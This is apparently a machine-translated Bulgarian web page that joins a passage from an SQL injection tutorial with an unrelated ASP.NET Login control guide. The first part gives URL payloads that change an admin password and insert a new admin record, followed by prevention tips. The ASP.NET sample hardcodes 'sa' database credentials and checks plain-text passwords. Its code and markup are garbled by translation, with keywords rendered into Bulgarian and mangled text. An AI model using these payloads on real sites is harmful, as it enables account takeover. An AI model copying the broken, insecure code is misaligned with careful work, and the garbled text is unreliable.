7.0 Как да модифицирам/вмъквам данни в базата данни?

След като получим имената на всички колони в таблицата, можем актуализирайте (UPDATE) или дори вмъкнете (INSERT) нов запис в таблицата. Например, можем да променим паролата за "neo":

http://duck/index.asp?id=10; АКТУАЛИЗАЦИЯ "admin_login" SET "password" = "newpas5" КЪДЕ login_name="neo--

За да вмъкнете (INSERT) нов запис в базата данни:

http://duck/index.asp?id=10; ВМЕСЕТЕ В "admin_login" ("login_id", "login_name", "password", "details") СТОЙНОСТИ (666,"neo2","newpas5","NA")--

Вече ще можем да влезем като "neo" с паролата "newpas5".

8.0 Как да избегнем SQL инжекцията?

Филтрирайте специални символи във всички низове в:

Всички данни, въведени от потребителя
- URL параметри
- Бисквитки

За числови стойности ги преобразувайте в цяло число, преди да ги предадете на SQL заявката. Или използвайте ISNUMERIC, за да се уверите, че е цяло число.

Стартирайте SQL Server като непривилегирован потребител.

Премахнете неизползваните съхранени процедури: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Контролите за влизане в ASP.NET осигуряват стабилно решение за влизане за ASP.NET уеб приложения, без да се изисква програмиране. По подразбиране контролите за влизане се интегрират с членството в ASP.NET и удостоверяването с формуляри, за да помогнат за автоматизирането на удостоверяването на потребителя за уеб сайт. Той ви предоставя готов за използване потребителски интерфейс, който пита потребителското име и паролата от потребителя и предлага бутон за влизане за влизане. Той потвърждава потребителските идентификационни данни спрямо членството в API и капсулира основната функционалност за удостоверяване от, като пренасочване обратно към оригиналната заявена страница в ограничена област на вашето приложение след успешното влизане.

Контролата за влизане показва потребителски интерфейс за удостоверяване на потребителя. Контролата за влизане съдържа текстови полета за потребителско име и парола и квадратче за отметка, което позволява на потребителите да посочат дали искат сървърът да съхранява тяхната самоличност чрез членство в ASP.NET и автоматично да бъде удостоверен следващия път, когато посетят сайта.

Контролата за влизане има свойства за персонализирано показване, за персонализирани съобщения и за връзки към други страници, където потребителите могат да променят паролата си или да възстановят забравена парола. Контролата за влизане може да се използва като самостоятелна контрола на главна или начална страница или можете да я използвате на специална страница за вход. Ако използвате контролата за влизане с членство в ASP.NET, не е необходимо да пишете код за извършване на удостоверяване. Въпреки това, ако искате да създадете своя собствена логика за удостоверяване, можете да обработвате събитието Authenticate на контролата за влизане и да добавите персонализиран код за удостоверяване.

Забележка – Контролите за влизане може да не функционират правилно, ако методът на уеб страницата на ASP.NET бъде променен от POST (по подразбиране) на GET.

Всеки път, когато потребителят натисне бутона за влизане, контролата автоматично потвърждава потребителското име и паролата с помощта на функцията на API за членство Membership.ValidateUse() и след това извиква FormAuthentication.redirectFromLoginPage(), ако валидирането е било успешно. Всички опции в потребителския интерфейс на LoginControl влияят на входа, доставян от контролата към тези методи. Например, ако щракнете върху квадратчето за отметка „Запомни ме следващия път“, то предава стойността true на параметъра createPresistentCookie на метода RedirectFromLoginPage(). Следователно FormAuthenticateModule създава постоянна бисквитка.

По подразбиране има три задачи за влизане.

  • Автоматичен формат - можете да изберете схеми по подразбиране.
  • Преобразуване в шаблон - Можете да редактирате съдържанието на контрола за влизане.
  • Администриране на уебсайт - Можете да конфигурирате инструменти за администриране на уеб сайт, като сигурност, приложение, доставчик.

  1. "Login1" runat= "server" BackColor= "#F7F7DE" BorderColor= "#CCCC99" BorderStyle= "Solid" BorderWidth= "1px" Font-Names= "Verdana" Font-Size= "10pt" >
  • Можете също да промените стиловете на LoginControl с помощта на css, като това:

    1. .LoginControl
    2. цвят на фона : #F7F7DE ;
    3. цвят на границата: #CCCC99 ;
    4. в стил граница : плътен ;
    5. ширина на границата: 1px
    6. семейство шрифтове : Verdana ;
    7. размер на шрифта: 10px;

    И сега приложете css за контрол:

    1. < html xmlns = "http://www.w3.org/1999/xhtml">
    2. < head runat = "server" >
    3. < title >Контрол за влизане
    4. < link href = "StyleSheet.css" type = "text/css" rel = "Stylesheet" />
    5. < body >
    6. < form id = "form1" runat = "server" >
    7. < div >
    8. < asp:Login ID = "Login1" runat = "server" CssClass = "LoginControl" >
    9. < TitleTextStyle BackColor = "#6B696B" Font-Bold = "True" ForeColor = "#FFFFFF" />

    Ако стартирате страницата и ако CSS файлът е поставен в директория, където анонимен достъп е отказан, добавете следната конфигурация за CSS файла към вашия файл web.config.

    1. < location path = "StyleSheet.css" >
    2. < system.web >
    3. < authorization >
    4. < allow users = "*" />

    Можете да добавите няколко хипервръзки към вашата контрола за влизане, като хипервръзка към страница с помощен текст или хипервръзка към страница за регистрация.

    1. < asp:Login ID = "Login1" runat = "server" CssClass = "LoginControl"
    2. CreateUserText = "Регистрация"
    3. CreateUserUrl = "~/Register.aspx"
    4. HelpPageText = "Допълнителна помощ" HelpPageUrl = "~/Help.aspx"
    5. Текст на инструкциите = „Моля, въведете вашето потребителско име и парола за влизане.“>
    6. < TitleTextStyle BackColor = "#6B696B" Font-Bold = "True" ForeColor = "#FFFFFF" />

    Изглежда така:

    Ето .CS код:

    1. използване на системата;
    2. използване на System.Collections.Generic;
    3. използване на System.Linq;
    4. използване на System.Web;
    5. използване на System.Web.UI;
    6. използване на System.Web.UI.WebControls;
    7. използване на System.Data.SqlClient;
    8. публичен частичен клас _По подразбиране: System.Web.UI.Page
    9. защитена недействителност Page_Load (предател на обект, EventArgs e)
    10. ако (!this.IsPostBack)
    11. protected void Login1_Authenticate(object изпращач, AuthenticateEventArgs e)
    12. ако (Вашата ValidationFunction(Вход1.Потребителско име, Вход1.Парола))
    13. // e.Authenticated = true;
    14. Вход1.Видим = невярно ;
    15. MessageLabel.Text = "Влезли сте успешно" ;
    16. друго
    17. e.Authenticated = false ;
    18. protected void Login1_LoginError(обект подател, EventArgs e)
    19. if (ViewState[ "LoginErrors" ] == null )
    20. ViewState["LoginErrors"] = 0;
    21. int ErrorCount = (int )ViewState[ "LoginErrors" ] + 1;
    22. ViewState["LoginErrors" ] = ErrorCount;
    23. ако ((ErrorCount > 3) && (Login1.PasswordRecoveryUrl !=низ .празен))
    24. Response.Redirect(Login1.PasswordRecoveryUrl);
    25. private bool YourValidationFunction(низ потребителско име, низ парола)
    26. bool boolReturnValue = false;
    27. низ strConnection = "сървър=.;база данни=Продавач;uid=sa;pwd=wintellect;";
    28. sqlConnection sqlConnection = ново SqlConnection(strConnection);
    29. Низ SQLQuery = „ИЗБЕРЕТЕ потребителско име, парола ОТ Вход“;
    30. Команда SqlCommand = нова SqlCommand(SQLQuery, sqlConnection);
    31. SqlDataReader Dr;
    32. sqlConnection.Open();
    33. Dr = command.ExecuteReader();
    34. докато (DrRead())
    35. if ((UserName == Dr[ "UserName" ].ToString()) & (Парола == Dr["Парола" ].ToString()))
    36. boolReturnValue = вярно ;
    37. Dr.Close();
    38. върне boolReturnValue;
    39. върне boolReturnValue;

    Ако въведете грешно потребителско име и парола, съобщението ще се покаже така:

    Ако въведете правилно потребителско име, парола, след това пренасочете страницата си където пожелаете или можете да покажете съобщение в ErrorLabel, като това:

    Прикачвам моята база данни с приложение в папка App_Data, ако искате да използвате моята база данни, тогава прикачете моя .MDF файл.

    Всички въпроси и запитвания ме питайте по всяко време.

    Като част от технологията ASP.Net Web Forms има набор от ES за създаване и използване на потребителски акаунти:

    • Вход - ES за свързване на потребител (въвеждане на име и парола) и проверка на съответствието му с данните, съдържащи се в базата данни. Ако данните съвпадат (т.е. потребителят е удостоверен, тогава се извършва преходът към заявената страница).
    • LoginView - ви позволява да показвате различна информация за свързани потребители. Например, можете да използвате тази страница, за да покажете информация, която е достъпна само за удостоверени потребители.
    • LoginStatus – Потребителски интерфейс, показващ връзка към страницата за влизане за потребители, които не са били удостоверени (Изход) и връзка към страницата за излизане за влезли потребители (Вход).
    • LoginName - потребителски интерфейс, показващ текущото потребителско име, ако е свързан към системата.
    • Password Recovery е ES за възстановяване на потребителска парола чрез изпращане на имейл съобщение или когато потребителят отговори на таен въпрос.
    • CreateUserWizard е ES, който събира информация за нов потребител и създава нов акаунт в базата данни.
    • ChangePassword - EC, който позволява на свързания потребител да промени паролата.

    Контролата за влизане предоставя готов за използване интерфейс, който подканва за потребителско име и парола. Той включва бутон с атрибута CommandName-„Login“ за свързване на потребителя. Когато потребителят щракне върху този бутон, ES автоматично проверява дали въведеното потребителско име и парола съвпадат с данните, съдържащи се в базата данни, и след това предизвиква преход към искания уеб формуляр на приложението. Този ES е напълно разширяем и ви позволява да замените неговото маркиране, стил и свойства, както и сами да обработвате събития, за да промените поведението по подразбиране. Пример за персонализиране на описанието на Login EM е показан по-долу:

    <%@ Page Language="C#" AutoEventWireup="true”

    CodeFile="LogPage.aspx.cs" Inherits="LogPage" %>

    BorderColor="Black" BorderStyle="double">

    Свързване към системата

    ControlToValidate="Password" ErrorMessage=”*” />

    Дисплеят на конфигурирания по-горе вход ES е показан на фиг. 4.22.

    Ориз. 4.22. Показване на конфигурирания ES Login

    ES LoginView е доста прост и мощен. Позволява ви да показвате различни набори от EG за анонимни и удостоверени потребители. В допълнение, той също така ви позволява да покажете разстоянието между съдържанието, като вземете предвид ролята, към която принадлежи свързаният потребител. Обектът LoginView е шаблонен обект с различни типове шаблони: един за анонимни потребители, друг за удостоверени потребители и трети за поддръжка на шаблони, осъзнаващи роли.

    В тези шаблони просто трябва да добавите EI, за да покажете съответната ситуация, както е показано по-долу. Този ES показва обикновен текст за анонимни потребители и малко текст за регистрирани потребители:

    Bbi е анонимен потребител

    Bbi е свързан към web-npHno>KeHHK>

    <1т2>Само администраторите могат да видят това съдържание

    Това съдържание е за уеб дизайнери и читатели.

    Примери за използване на ES за защита на уеб приложение могат да бъдат намерени в папката Account на стандартния шаблон за уеб сайт ASP.Net.